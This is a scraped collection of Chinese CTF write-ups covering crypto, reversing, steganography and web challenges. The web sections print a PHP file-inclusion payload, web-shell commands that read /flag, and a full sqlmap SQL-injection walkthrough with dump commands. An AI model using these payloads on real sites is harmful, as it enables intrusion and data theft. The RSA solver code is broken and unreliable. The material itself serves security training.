] if byte: bytes_data.append(int (byte, 2 )) return bytes_data decrypted_bytes = decrypt_custom_base64(ciphertext, dictionary) print ("Decrypted results:" )print ("UTF-8:" , decrypted_bytes.decode('utf-8' , errors='replace' ))print ("ASCII:" , decrypted_bytes.decode('ascii' , errors='replace' ))print ("HEX:" , decrypted_bytes.hex ())print ("Raw bytes:" , decrypted_bytes)standard_base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" print ("\nStandard Base64 mapping for comparison:" )for i in range (64 ): if i in dictionary and dictionary[i] != standard_base64[i]: print (f"Index {i} : Custom='{dictionary[i]} ', Standard='{standard_base64[i]} '" ) if __name__ == "__main__" : pass
BJD{D0_Y0u_kNoW_Th1s_b4se_map}
[LitCTF 2023]这羽毛球怎么只有一半啊(恼 (初级) #宽高修改 #图片隐写 #图片修复 题目:所以下半身是什么呢(ww
解压出一个可爱的小草神.png
题目提示图片缺少下半部分,故使用[随波逐流]CTF编码工具修复高宽
LitCTF{Fl4g_0fcourse!}
Crypto [LitCTF 2023]Hex?Hex!(初级) #古典密码 #Base家族 #其他 题目描述: 如果你也和我一样知道hex的话,那我觉得,这件事,太酷啦!
4c69744354467b746169313131636f6f6c6c616161217d
十六进制转字符即可
LitCTF{tai111coollaaa!}
Crypto [SWPUCTF 2021 新生赛]traditional #古典密码 #其他
题目:
西方的二进制数学的发明者莱布尼茨,从中国的八卦图当中受到启发,演绎并推论出了数学矩
阵,
最后创造的二进制数学。二进制数学的诞生为计算机的发明奠定了理论基础。而计算机现在改
变
了我们整个世界,改变了我们生活,而他的源头却是来自于八卦图。现在,给你一组由八卦图
方位
组成的密文,你能破解出其中的含义吗?
震坤艮 震艮震 坤巽坤 坤巽震 震巽兑 震艮震 震离艮 震离艮
格式:NSSCTF{}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 bagua_map = { '坤' : '000' , '震' : '001' , '坎' : '010' , '兑' : '011' , '艮' : '100' , '离' : '101' , '巽' : '110' , '乾' : '111' } cipher = "震坤艮 震艮震 坤巽坤 坤巽震 震巽兑 震艮震 震离艮 震离艮" def solve_bagua (ciphertext, mapping ): result = "" for group in ciphertext.split(): binary = '' .join([mapping[trigram] for trigram in group]) result += chr (int (binary[1 :9 ], 2 )) return result if __name__ == "__main__" : flag = solve_bagua(cipher, bagua_map) print (f"NSSCTF{{{flag} ;} ;} " )
NSSCTF{Da01sall}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package com.example.crackme1;import android.content.Context;import android.os.Bundle;import android.text.Editable;import android.view.View;import android.widget.Button;import android.widget.EditText;import android.widget.Toast;import androidx.appcompat.app.AppCompatActivity;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;public class MainActivity extends AppCompatActivity { public boolean check (CharSequence paramCharSequence) { if (paramCharSequence.length() != 38 ) return false ; if (!paramCharSequence.subSequence(0 , 5 ).toString().equals("flag{" )) return false ; if (paramCharSequence.charAt(paramCharSequence.length() - 1 ) != '}' ) return false ; paramCharSequence = paramCharSequence.subSequence(5 , paramCharSequence.length() - 1 ); StringBuilder stringBuilder = new StringBuilder (); for (byte b = 0 ; b < paramCharSequence.length(); b += 4 ) stringBuilder.append(md5(paramCharSequence.subSequence(b, b + 4 ).toString())); return !!stringBuilder.toString().equals("8393931a16db5a00f464a24abe24b17a9040b57d9cb2cbfa6bdc61d12e9b51f2789e8a8ae9406c969118e75e9bc65c4327fbc7c3accdf2c54675b0ddf3e0a6099b1b81046d525495e3a14ff6eae76eddfa1740cd6bd483da0f7684b2e4ec84b371f07bf95f0113eefab12552181dd832af8d1eb220186400c494db7091e402b0" ); } public String md5 (String paramString) { try { MessageDigest messageDigest = MessageDigest.getInstance("MD5" ); messageDigest.update(paramString.getBytes(StandardCharsets.UTF_8)); byte [] arrayOfByte = messageDigest.digest(); StringBuilder stringBuilder = new StringBuilder (); this (); int i = arrayOfByte.length; for (byte b = 0 ; b < i; b++) { byte b1 = arrayOfByte[b]; if (Integer.toHexString(b1 & 0xFF ).length() == 1 ) { stringBuilder.append("0" ); stringBuilder.append(Integer.toHexString(b1 & 0xFF )); } else { stringBuilder.append(Integer.toHexString(b1 & 0xFF )); } } return stringBuilder.toString(); } catch (Exception exception) { return "" ; } } protected void onCreate (Bundle paramBundle) { super .onCreate(paramBundle); setContentView(2131427356 ); ((Button)findViewById(2131230808 )).setOnClickListener(new View .OnClickListener() { public void onClick (View param1View) { Editable editable = flagInput.getText(); if (MainActivity.this .check((CharSequence)editable)) { Toast.makeText((Context)MainActivity.this , "Right!" , 0 ).show(); } else { Toast.makeText((Context)MainActivity.this , "Wrong!" , 0 ).show(); } } }); } }
check 方法是核心验证方法,它接受一个CharSequence参数并返回布尔值。
方法首先检查输入长度是否为38个字符,如果不是则直接返回false。
然后检查输入的前5个字符是否为”flag{“,如果不是则返回false。
接着检查输入的最后一个字符是否为”}”,如果不是则返回false。
然后从第5个字符开始到倒数第1个字符结束,每4个字符一组,对每组进行MD5哈希处理。
最后将所有哈希结果拼接起来,与一个固定的字符串进行比较,如果相等则返回true,否则返回false。 这个固定的字符串是:8393931a16db5a00f464a24abe24b17a9040b57d9cb2cbfa6bdc61d12e9b51f2789e8a8ae9406c969118e75e9bc65c4327fbc7c3accdf2c54675b0ddf3e0a6099b1b81046d525495e3a14ff6eae76eddfa1740cd6bd483da0f7684b2e4ec84b371f07bf95f0113eefab12552181dd832af8d1eb220186400c494db7091e402b0
法一:hashcat掩码?a?a?a?a分组爆破。
"8393931a16db5a00f464a24abe24b17a",
"9040b57d9cb2cbfa6bdc61d12e9b51f2",
"789e8a8ae9406c969118e75e9bc65c43",
"27fbc7c3accdf2c54675b0ddf3e0a609",
"9b1b81046d525495e3a14ff6eae76edd",
"fa1740cd6bd483da0f7684b2e4ec84b3",
"71f07bf95f0113eefab12552181dd832",
"af8d1eb220186400c494db7091e402b0"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import hashlibimport itertoolstarget_hashes = [ "8393931a16db5a00f464a24abe24b17a" , "9040b57d9cb2cbfa6bdc61d12e9b51f2" , "789e8a8ae9406c969118e75e9bc65c43" , "27fbc7c3accdf2c54675b0ddf3e0a609" , "9b1b81046d525495e3a14ff6eae76edd" , "fa1740cd6bd483da0f7684b2e4ec84b3" , "71f07bf95f0113eefab12552181dd832" , "af8d1eb220186400c494db7091e402b0" ] charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?" def crack_md5 (target_md5, charset ): for chars in itertools.product(charset, repeat=4 ): text = '' .join(chars) md5_hash = hashlib.md5(text.encode()).hexdigest() if md5_hash == target_md5: return text return None flag_parts = [] for i, target_md5 in enumerate (target_hashes): print (f"破解第{i+1 } 组MD5: {target_md5} " ) part = crack_md5(target_md5, charset) if part: print (f" 找到: {part} " ) flag_parts.append(part) else : print (f" 未找到" ) if len (flag_parts) == 8 : flag = "flag{" + '' .join(flag_parts) + "}" print (f"\n找到flag: {flag} " ) else : print (f"\n只找到{len (flag_parts)} 组,无法拼接完整flag" )
分析过程:
解压crackme1.apk,得到dex文件和其他资源文件
使用dex2jar工具将classes.dex、classes2.dex和classes3.dex转换为JAR文件
发现MainActivity类位于classes3-dex2jar.jar文件中
使用javap工具查看MainActivity类的反编译代码,分析了check方法的逻辑
编写Python脚本crack_flag.py,暴力破解了每组4个字符的MD5哈希值
成功破解了所有8组MD5哈希值,得到了flag
NSSCTF{4aea146e9dc7365e4ec931f547284822}
[羊城杯 2020]Simple #RSA #Crypto 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from Crypto.Util.number import *from Crypto.Cipher import DESimport gmpy2from secret import flagimport randomkey = "abcdefgh" def des_encrypt (m ): des = DES.new(key, DES.MODE_ECB) res = des.encrypt(m) return res def gen_key (): p = getPrime(2048 ) q = getPrime(2048 ) n = p * q bit = n.bit_length() phi_n = (p - 1 ) * (q - 1 ) num = random.randint(1 , 100 ) while True : u = getPrime(bit / 4 - num) if gmpy2.gcd(u, phi_n) != 1 : continue t = gmpy2.invert(u, phi_n) e = bytes_to_long(des_encrypt(long_to_bytes(t))) if gmpy2.gcd(e, phi_n) == 1 : break return (n, e) P = getPrime(1024 ) Q = getPrime(1024 ) N = P * Q E = 65537 lcm = gmpy2.lcm(P-1 , Q-1 ) e1 = gmpy2.invert(getPrime(730 ), lcm) e2 = gmpy2.invert(getPrime(730 ), lcm) m = bytes_to_long(flag) c = pow (m, E, N) print "N = " + str (N)print "e2 = " + str (e2)print "c = " + str (c)_n, _e = gen_key() _c = pow (e1, _e, _n) print "_n = " + str (_n)print "_e = " + str (_e)print "_c = " + str (_c)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from Crypto.Util.number import *import gmpy2from secret import flagimport randomfrom Crypto.Cipher import DESkey = "abcdefgh" def des_encrypt (m ): des = DES.new(key, DES.MODE_ECB) return des.encrypt(m) N = 14922959775784066499316528935316325825140011208871830627653191549546959775167708525042423039865322548420928571524120743831693550123563493981797950912895893476200447083386549353336086899064921878582074346791320104106139965010480614879592357793053342577850761108952933114868444051393460941288494109165159486153060608698217486246173960470535441658750383613015149293771436561419458366421 E = 65537 c = 6472367338832635906896423990323542537663849304314171581554107495210830026660211696089062916158894195561723047864604633460433867838687338370676287160274165915800235253640690510046066541445140501917731026596427080558567366267665887665459901724487706983166070740324307268574128474775026837827907818762764766069631267853742422247229582756256253175941899099898884656334598790711379305490419932664114615010382094572854799421891622789614614720442708271653376485660139560819668239118588069312179293488684403404385715780406937817124588773689921642802703005341324008483201528345805611493251791950304129082313093168732415486813 m = pow (c, pow (E, -1 , phi(N)), N) print ("flag:" , m)def des_encrypt (m ): des = DES.new(key, DES.MODE_ECB) return des.encrypt(m) t_bytes = long_to_bytes(pow (27188825731727584656624712988703151030126350536157477591935558508817722580343689565924329442151239649607993377452763119541243174650065563589438911911135278704499670302489754540301886312489410648471922645773506837251600244109619850141762795901696503387880058658061490595034281884089265487336373011424883404499124002441860870291233875045675212355287622948427109362925199018383573980726387099817958216067999891842395376953596940377457308329336524488962532620850237570279134567668379 t = int (t_bytes) e = bytes_to_long(des_encrypt(long_to_bytes(t))) print ("e:" , e)def decrypt_t (): t_bytes = long_to_bytes(pow (27188825731727584656624712988703151030126350536157477591935558508817722580343689565924329442151239649607993377452763119541243174650065563589438911911135278704499670302489754540301886312489410648471922645773506837251600244109619850141762795901696503387880058658061490595034281884089265487336373011424883404499124002441860870291233875045675212355287622948427109362925199018383573980726387099817958216067999891842395376953596940377457308329336524488962532620850237570279134567668379 , 1 ) des = DES.new(key, DES.MODE_ECB) return des.decrypt(t_bytes) t_decrypted = decrypt_t() print ("t:" , t_decrypted)
[SWPUCTF 2021 新生赛]include #PHP伪协议 #PHP #文件包含
构造:?file=php://filter/read=convert.base64-encode/resource=flag.php
PD9waHANCiRmbGFnPSdOU1NDVEZ7OTdiYWY3MmUtMDg0ZS00MGIwLWFmYzEtMWE2NzAxOWFkODA2fSc7
NSSCTF{97baf72e-084e-40b0-afc1-1a67019ad806}
Reverse [SWPUCTF 2021 新生赛]非常简单的逻辑题 #Python #语言逆向 #逆向技术 1 2 3 4 5 6 7 8 9 10 flag = 'xxxxxxxxxxxxxxxxxxxxx' s = 'wesyvbniazxchjko1973652048@$+-&*<>' result = '' for i in range (len (flag)): s1 = ord (flag[i])//17 s2 = ord (flag[i])%17 result += s[(s1+i)%34 ]+s[-(s2+i+1 )%34 ] print (result)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 result = 'v0b9n1nkajz@j0c4jjo3oi1h1i937b395i5y5e0e$i' s = 'wesyvbniazxchjko1973652048@$+-&*<>' flag = '' for i in range (0 , len (result), 2 ): c1 = result[i] c2 = result[i+1 ] idx1 = s.index(c1) idx2 = s.index(c2) pos = i // 2 s1 = (idx1 - pos) % 34 s2 = (34 - idx2 - pos - 1 ) % 34 ascii_val = s1 * 17 + s2 flag_char = chr (ascii_val) flag += flag_char print (f"解密得到的flag: {flag} " )
NSSCTF{Fake_RERE_QAQ}
[SWPUCTF 2021 新生赛]caidao #RCEPHP #信息收集
法一:打开网页看到一句话木马命令(想到中国蚁剑)
退到最外层,直接找到flag
NSSCTF{62487fd7-b969-4456-a318-f777ccbb1cc1}
法二:Hackbar,根据页面提示使用POST方式以wllm为参传值; 先传入system(“ls /“);查出根目录下有flag文件;在传入system(“cat /flag”);查看flag。
**wllm=system("ls /");**
wllm=system('cat /flag');
NSSCTF{71963bd4-678f-4d99-96d5-4c9fba40ad5e}
法三:Burpsuite
Repeater把GET改为POST,右侧Inspector添加请求主体参数。
发送查看响应:
NSSCTF{71963bd4-678f-4d99-96d5-4c9fba40ad5e}
[NSSRound#V Team]画出一个flag #LSB #MISC #图片隐写
翻了一下,无特别的信息。
使用Stegsolve查看LSB
保存为zip,解压出一个flag.dat
根据题目名提示flag是画出来的。于是尝试base64解码后转为01字符串:
1 2 3 4 5 6 7 import base64with open ('C:/Users/glj07/Desktop/flag.dat' , 'rb' ) as file: encoded_data = file.read() decoded_data = base64.b64decode(encoded_data) binary_string='' .join(format (byte,'08b' )for byte in decoded_data) with open ('flag.txt' , 'w' , encoding='utf-8' ) as f: f.write(binary_string)
缩小看的确暗藏玄机。
需要不断调整窗口比例和缩放比例,直至能辨认无误。看得那叫一个老眼昏花。
这样不错,最清楚了
NSSCTF{!!Draw_draw_A_flag!!}
[HGAME 2022 week1]Matryoshka #维吉尼亚 #凯撒密码 #摩斯代码
为了学好四六级,协会里某不知名的康师傅决定通过看英文小说来提高自己的英语水平。
可不知道为什么,下载来的小说竟然都被打乱并加密了。
他费尽千辛万苦重要找到了一部分小说的原文,你能帮帮他么?
⠨⠨⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠤⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠨⠨⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠨⠨⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠤⠤⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠤⠤⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠨⠤⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠨⠨⠌⠨⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠨⠨⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠤⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠨⠨⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠤⠤⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠨⠨⠨⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠨⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠤⠨⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠨⠨⠨⠌⠨⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠤⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠨⠨⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠤⠤⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠤⠨⠌⠨⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠨⠨⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠤⠤⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠤⠤⠤⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠨⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠨⠨⠨⠌⠨⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠨⠨⠨⠨⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠨⠨⠨⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠤⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠤⠤⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠤⠤⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠨⠨⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠤⠤⠤⠌⠨⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠨⠤⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠨⠨⠨⠨⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠤⠤⠤⠌⠨⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠤⠤⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠨⠨⠨⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠨⠨⠨⠨⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠨⠨⠨⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠤⠨⠤⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠨⠤⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠨⠨⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠨⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠨⠨⠌⠨⠨⠨⠤⠤⠌⠤⠤⠨⠨⠤⠤⠌⠤⠤⠤⠨⠨⠌⠤⠨⠨⠨⠨⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠨⠤⠌⠨⠨⠨⠨⠤⠌⠤⠤⠨⠨⠤⠤⠌⠨⠨⠨⠨⠤⠌⠤⠨⠨⠨⠨
Caesar:21; Vigenère:hgame
先盲文解密看看
发现解密后开头不太对:
试着反转一下再解密
46,66,42,75,66,45,46,6E,6D,4C,73,36,44,33,73,69,59,74,4C,36,58,32,70,34,69,4E,30,63,64,53,6C,79,6B,6D,39,72,51,4E,39,6F,4D,53,31,6A,6B,73,39,72,4B,32,52,36,6B,4C,38,68,6F,72,30,3D
16进制特征。
1 2 3 4 str='46,66,42,75,66,45,46,6E,6D,4C,73,36,44,33,73,69,59,74,4C,36,58,32,70,34,69,4E,30,63,64,53,6C,79,6B,6D,39,72,51,4E,39,6F,4D,53,31,6A,6B,73,39,72,4B,32,52,36,6B,4C,38,68,6F,72,30,3D' for i in str: str=str.replace(',','') print(str)
466642756645466E6D4C73364433736959744C3658327034694E306364536C796B6D3972514E396F4D53316A6B7339724B3252366B4C38686F72303D
FfBufEFnmLs6D3siYtL6X2p4iN0cdSlykm9rQN9oMS1jks9rK2R6kL8hor0=
然而直接base解码并不成功。
根据题目提示:维吉尼亚密码的key是hgame。不妨先试一下,因为解完末端依旧是=号,然后再base64可能性大一点。
YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0=
c0bmvghyz_{0Raz_gxxm0thkzo_0ob0m_vokcczt_!r}
根据题目:凯撒21位
h0gralmde_{0Wfe_lccr0ympet_0tg0r_atphhey_!w}
最后栅栏密码解密:
hgame{Welc0me_t0_the_w0rld_0f_crypt0graphy!}
[第五空间 2021]WebFTP #目录扫描 #信息收集 #.git泄露
使用御剑工具扫描,发现大量域名
NSSCTF{f632d0a0-0321-4df6-b3b7-fae9e4c0b269}
Robots
昨天十三年社团讲课,讲了Robots.txt的作用,小刚上课没有认真听课正在着急,你能不能帮帮忙
flag{29d2b23a9f2145888d1f8c76e2b4a8b4}
[SWPUCTF 2021 新生赛]easy_sql
SQL注入报错注入布尔盲注
第一步:信息收集(基础侦察)
目标: 确认目标可达,收集基本信息
curl -I "http://node4.anna.nssctf.cn:24443/"
看什么:
HTTP状态码:200 OK(目标存活)
Server:nginx/1.14.2(Web服务器信息)
X-Powered-By:PHP/5.6.40(后端语言,老版本可能有漏洞)
经验: curl -I 比直接访问页面更快,只看头部信息,不下载内容!
第二步:分析页面,找参数
目标: 找到可能存在SQL注入的参数
curl -s "http://node4.anna.nssctf.cn:24443/"
Ctrl+U查看源代码也可
观察结果:
页面标题:”参数是 wllm” ← 重要线索!
页面内容:”球球你输入点东西吧!” ← 说明需要输入参数
推理: 存在一个叫 wllm 的GET参数
测试参数:
curl -s "http://node4.anna.nssctf.cn:24443/?wllm=test"
先用普通值测试参数是否被处理,页面变化=参数有效
第三步:确认SQL注入漏洞
目标: 验证是否存在SQL注入
curl -s "http://node4.anna.nssctf.cn:24443/?wllm=test"
观察什么: 如果看到SQL错误信息,说明存在注入!比如: You have an error in your SQL syntax…
经验: 单引号 ‘ 是最简单的SQL注入测试字符,能快速暴露漏洞!
第四步:SQLMap自动化攻击
现在开始真正使用SQLMap!
4.1 基础扫描(找注入点)
命令:sqlmap -u "http://node4.anna.nssctf.cn:24443/?wllm=1" --batch
参数解释:
数据库信息:back-end DBMS: MySQL >= 5.0 (MariaDB fork) web application technology: Nginx 1.14.2, PHP 5.6.40
意思是:
Boolean-based blind(布尔盲注)
Payload: wllm=1’ AND 5235=5235 AND ‘aqWL’=’aqWL 原理: 通过True/False判断来获取信息 特点: 速度慢,但很稳定
Error-based(报错注入) ⭐推荐
Payload: wllm=1’ AND (SELECT 9989 FROM(SELECT COUNT(*),CONCAT(…))x… 原理: 让数据库报错,在错误信息中显示数据 特点: 速度快!一次性获取大量信息
Time-based blind(时间盲注)
Payload: wllm=1’ AND (SELECT 7527 FROM (SELECT(SLEEP(5)))esur)… 原理: 通过延时来判断True/False 特点: 最慢,但最通用
UNION query(联合查询注入) ⭐推荐
Payload: wllm=-4242’ UNION ALL SELECT NULL,NULL,CONCAT(…)– - 原理: 通过UNION合并查询直接显示数据 特点: 最快!最直接!
4.2 枚举数据库
命令: sqlmap -u "http://node4.anna.nssctf.cn:24443/?wllm=1" --batch --dbs
参数解释:
test_db ← 这个看起来可疑!
本小姐的观察技巧: test_db 明显不是默认数据库,肯定是放flag的地方!
4.3 枚举表sqlmap -u "http://node4.anna.nssctf.cn:24443/?wllm=1" --batch -D test_db --tables
新增参数:
-D test_db:指定数据库
–tables:列出该数据库的所有表
4.4 查看表结构
sqlmap -u "http://node4.anna.nssctf.cn:24443/?wllm=1" --batch -D test_db -T test_tb --columns
新增参数:
-T test_tb:指定表
–columns:查看表结构
4.5 获取FLAG!
最后一步: sqlmap -u “http://node4.anna.nssctf.cn:24443/?wllm=1 “ –batch -D test_db -T test_tb –dump
新增参数:
NSSCTF{ecd98b8f-2324-48e6-9785-0b5ec164a0ee}
🧠 SQLMap使用思路总结
核心思路流程:
信息收集 → 2. 找参数 → 3. 确认注入 → 4. SQLMap自动化
SQLMap标准流程:
找注入点 → 枚举数据库 → 枚举表 → 查看结构 → 导出数据
常用命令组合:
基础测试 sqlmap -u “URL?param=1” –batch
找数据库 sqlmap -u “URL?param=1” –batch –dbs
找表 sqlmap -u “URL?param=1” –batch -D dbname –tables
看结构 sqlmap -u “URL?param=1” –batch -D dbname -T tablename –columns
获取数据 sqlmap -u “URL?param=1” –batch -D dbname -T tablename –dump
快速判断目标:
看到”参数是xxx” → 直接用那个参数名
页面简单 → 通常是入门级SQL注入
SQLMap参数优先级:
–batch:永远加上,省去手动选择
–dbs → –tables → –columns → –dump:标准流程
数据库命名规律:
test_db, flag_db, challenge_db:90%放flag
information_schema, mysql:系统数据库,不用看
表名规律:
flag, test_tb, admin:重点关注的表
users:通常放用户信息,可能有flag
避坑指南:
用curl -I先测试连通性,避免SQLMap卡死
看到–batch参数,SQLMap就不会一直问问题
如果SQLMap卡住,用–timeout=10限制时间
遇到问题时:
SQLMap报错 → 检查URL是否正确
找不到数据库 → 可能权限不够或注入点错误
卡住不动 → 加–timeout参数
[BJDCTF 2020]encode #Base64 #RC4 #XOR 附件:
拿到题目首先upx脱壳。再ida32分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int sub_804887C(){ int v0; // eax int result; // eax unsigned int i; // [esp+Ch] [ebp-FCh] unsigned int v3; // [esp+10h] [ebp-F8h] unsigned int v4; // [esp+14h] [ebp-F4h] char v5[48 ]; // [esp+1Ah] [ebp-EEh] BYREF char v6[178 ]; // [esp+4Ah] [ebp-BEh] BYREF unsigned int v7; // [esp+FCh] [ebp-Ch] v7 = __readgsdword(0x14u); strcpy(v5, "Flag{This_a_Flag}" ); v3 = sub_805BBD0(v5); strcpy(v6, "E8D8BD91871A1E56F53F4889682F96142AF2AB8FED7ACFD5E" ); sub_804F950("Please input your flag:" ); sub_806DA80(0 , &v6[50 ], 256 ); if ( sub_805BBD0(&v6[50 ]) != 21 ) sub_804EAF0(0 ); v0 = sub_8048AC2(&v6[50 ]); sub_80481D0(&v5[18 ], v0); v4 = sub_805BBD0(&v5[18 ]); for ( i = 0 ; i < v4; ++i ) v5[i + 18 ] ^= v5[i % v3]; sub_8048E24(&v5[18 ], v4, v5, v3); if ( !sub_8048280(&v5[18 ], v6) ) sub_804EAF0(0 ); sub_804F950("right!" ); result = 0 ; if ( __readgsdword(0x14u) != v7 ) sub_806FA00(); return result;